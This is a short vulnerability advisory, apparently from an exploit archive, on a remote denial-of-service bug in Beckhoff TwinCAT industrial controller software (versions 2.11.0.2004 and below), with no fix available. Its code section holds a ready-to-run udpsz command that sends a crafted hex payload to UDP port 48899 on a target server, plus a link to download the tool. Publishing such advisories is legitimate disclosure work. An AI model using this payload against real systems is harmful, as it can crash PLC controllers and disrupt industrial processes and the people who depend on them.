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Beckhoff TwinCAT 2.11.0.2004 Denial Of Service

Beckhoff TwinCAT 2.11.0.2004 Denial Of Service
Posted Sep 14, 2011
Authored by Luigi Auriemma | Site aluigi.org

Beckhoff TwinCAT versions 2.11.0.2004 and below suffer from a denial of service vulnerability.

tags | exploit, denial of service
SHA-256 | 9ae5fa0332f0210ce3e53d42906d8106eabd9512e4c02fcbfec8ff8f35aafb88

Beckhoff TwinCAT 2.11.0.2004 Denial Of Service

Change Mirror Download
#######################################################################

Luigi Auriemma

Application: Beckhoff TwinCAT
http://www.beckhoff.de/twincat/
Versions: <= 2.11.0.2004
Platforms: Windows
Bug: Denial of Service
Exploitation: remote
Date: 13 Sep 2011
Author: Luigi Auriemma
e-mail: aluigi@autistici.org
web: aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


From vendor's website:
"The Beckhoff TwinCAT software system turns almost any compatible PC
into a real-time controller with a multi-PLC system, NC axis control,
programming environment and operating station."


#######################################################################

======
2) Bug
======


Denial of Service caused by an invalid read access.


#######################################################################

===========
3) The Code
===========


http://aluigi.org/testz/udpsz.zip

udpsz -C "03 66 14 71 00 00 00 00 06 00 00 00 0a ff ff 02 01 01 10 27" -b 0xff SERVER 48899 0x5fe


#######################################################################

======
4) Fix
======


No fix.


#######################################################################
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